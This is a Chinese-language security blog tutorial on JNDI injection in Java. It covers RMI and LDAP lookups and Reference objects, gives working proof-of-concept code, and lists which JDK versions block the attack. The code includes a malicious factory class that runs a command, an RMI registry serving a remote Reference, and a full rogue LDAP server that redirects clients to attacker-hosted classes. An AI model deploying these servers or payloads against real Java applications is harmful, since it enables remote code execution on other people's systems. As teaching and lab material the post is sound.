JNDI_Injection
2024-11-16 21:12:00

JNDI注入

基本介绍

JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,

将键值对与对象进行绑定,通过名字检索指定的对象,对象可能存储在RMI、LDAP、CORBA等

说人话就是规定了一套接口来方便开发人员进行访问特定资源

Untitled

JNDI的主要协议有:

协议 作用
LDAP 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS 域名服务
CORBA 公共对象请求代理体系结构

使用JNDI访问RMI对象

InitialContext

在JNDI中定义了InitialContext 这种对象来管理

server.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;

public class server {
public static void main(String[] args) throws Exception {
// env写法
// Properties env = new Properties();
// env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.registry.RegistryContextFactory");
// env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
// InitialContext initialContext = new InitialContext();
// LocateRegistry.createRegistry(1099);
// RemoteObjImpl remoteObj = new RemoteObjImpl(); // RMI对象
// initialContext.bind("remoteObj", remoteObj);

// 非env写法
RemoteObjImpl remoteObj = new RemoteObjImpl();
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
initialContext.rebind("rmi://localhost:1099/remoteObj",remoteObj);
}

}

client.java

1
2
3
4
5
6
7
8
9
10
public class client {

public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
RemoteObj remoteObj = (RemoteObj)initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");
remoteObj.sayHello("abc");

}

}

注意需要实现相同的interface且在server和client上的路径需要一致,不然会报no security manager: RMI class loader disabled错误。

套了一层InitialContext

来看gpt怎么介绍这个InitialContext

InitialContext 是 Java EE (Enterprise Edition) 中的一个类,属于 javax.naming 包。它是 Java Naming and Directory Interface (JNDI) API 的一部分,主要用于在 Java 应用程序中查找和访问命名和目录服务。

InitialContext 的功能和用法:

  1. 创建上下文InitialContext 类用于创建一个初始的 JNDI 上下文,这个上下文可以用来查找其他上下文或资源。
  2. 查找资源:通过 InitialContext 对象,你可以查找在命名和目录服务中注册的对象,如数据源、EJB (Enterprise Java Beans) 等。
  3. 配置参数:在创建 InitialContext 实例时,可以传递一些环境属性(Hashtable),这些属性用于配置 JNDI 上下文的连接信息。

可以查看到所有的RemoteObject的方法都被封装了

Untitled

跟一下getURLOrDefaultInitCtx(name).lookup(name); ,首先解析协议名称

Untitled

反正就是新建一个URLContext对象

Untitled

继续跟进是一个getURLObject

![Untitled](C:\Users\14537\Desktop\be19137c-246f-4fa2-8390-0f64dae88819_Export-6ef4f9ac-96b1-47d5-82aa-201303514fca\Untitled 4.png)

传进入的是rmiURLContextFactory,所以直接新建了(顺道补一手Java工厂方法

也就是说,ResourceManager.getFactory()会通过context classloader加载对应的工厂类,然后调用工厂类的getObjectInstance方法来获取scheme对应协议的context

顺道补充下:当 uri 被省略的时候才会使用 env 中指定的 INITIAL_CONTEXT_FACTORY ,对应部分如下:

Untitled

Untitled

然后就是到封装后的lookup源码,可以发现这nm的封装了RegistryImpl_Stub的lookup函数

Untitled

Reference

Reference类保存远程对象的引用,以封装的形式让程序通过引用来获取实际的远程对象

一般使用如下的Reference构造方法

1
Reference(String className, String factory, String factoryLocation)
  • className:工厂类要去加载的类名
  • factory:远程加载的工厂类类名
  • factoryLocation:远程加载工厂类的地址(file http ftp等协议)

客户端通过lookup得到Reference对象后,会继续访问factoryLocation,从而加载某个factory class,然后调用该factory实例的getObjectInstance方法,最终得到某个class(由className指定)

JNDI注入

JNDI注入之RMI+Reference

  • demo:

如果Reference的类地址可控,可以远程加载恶意对象

server.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Main {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);

// 结尾的 / 不可省略
Reference reference = new Reference("evil", "evil", "http://127.0.0.1:8000/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("RCE",wrapper);

}
}

client.java

1
2
3
4
5
6
7
8
9
10
11
12
package org.example;

import javax.naming.InitialContext;

public class Main {

public static void main(String[] args) throws Exception{
String uri = "rmi://127.0.0.1:1099/RCE";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}
  • 踩坑:

注意此处的evil class不能指定package

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class evil implements ObjectFactory {

public evil() throws Exception{
Runtime.getRuntime().exec("calc");
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

编译的时候没问题,在运行的时候会抛出java.lang.NoClassDefFoundError的异常

因为会按照package指定的路径去找肯定找不到。。

java.lang.NoClassDefFoundError 是在类路径中找不到所需类时抛出的运行时错误,因此 JVM 无法将其加载到内存中。

JNDI注入之LDAP

server.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
package org.example;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import sun.nio.cs.CharsetMapping;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import javax.xml.parsers.ParserConfigurationException;
import java.net.InetAddress;
import java.net.URL;
import java.net.UnknownHostException;

public class LDAPServer {

// 声明DN
private static final String LDAP_BASE = "a=1cfh,b=hacker";

public static void main(String[] args){

String url = "http://127.0.0.1:8000/#Evil";
int port = 1389;

try{
// InMemoryDirectoryServerConfig 配置, 因为此处ldap毕竟是基于内存
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);

// 监听器配置
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()
));

// 添加操作函数
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);

// 开始监听
ds.startListening();

} catch (Exception e) {
e.printStackTrace(); // 打印异常堆栈
}

}

private static class OperationInterceptor extends InMemoryOperationInterceptor{
private URL codebase;

public OperationInterceptor(URL cb){
this.codebase = cb;
}


// 接收ldap请求的业务逻辑
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result){
// 获取DN
String base = result.getRequest().getBaseDN();

// 声明entry 将数据封装在其中
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}catch (Exception e1){
e1.printStackTrace();
}
}

protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception{
// URL对象
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.','/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to "+ turl);

// 设置javaClassName属性
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf("#");
if ( refPos > 0 ){
cbstring = cbstring.substring(0, refPos);
}

// payload1 : 利用LDAP + Reference Factory
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());

// payload2 : 返回序列化 Gadget
// try {
// e.addAttribute("javaSerializedData", Base64.decode("..."));
// }catch (Exception exception){
// exception.printStackTrace();
// }

// 发送entry
result.sendSearchEntry(e);
// 发送类似于状态码的对象
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}

}

DNSlog作POC

在JNDI中,本质上是要发起一次http请求

所以可以使用dnslog作为poc检测

高版本JDK的JNDI注入打法

版本限制

JNDI注入对Java版本有限制

协议 JDK6 JDK7 JDK8 JDK11
LADP 6u211以下 7u201以下 8u191以下 11.0.1以下
RMI 6u132以下 7u122以下 8u113以下
  • jdk6u45,>jdk7u21:RMI server的useCodebaseOnly默认为true,从而禁止利用RMI ClassLoader加载远程类(但是可以使用Reference绕过)

攻防历程:

image.png

  • 6u45 7u21 之后java.rmi.server.useCodebaseOnly 默认为 true, 禁止利用 RMI ClassLoader 加载远程类 (但是 Reference 加载远程类本质上利用的是 URLClassLoader, 所以该参数对于 JNDI 注入无任何影响 )
  • 6u141, 7u131, 8u121 之后com.sun.jndi.rmi.object.trustURLCodebase 和 com.sun.jndi.cosnaming.object.trustURLCodebase 默认为 false, 禁止 RMI 和 CORBA 协议使用远程 codebase 来进行 JNDI 注入
  • 6u211, 7u201, 8u191 之后com.sun.jndi.ldap.object.trustURLCodebase 默认为 false, 禁止 LDAP 协议使用远程 codebase 来进行 JNDI 注入

参考

Prev
2024-11-16 21:12:00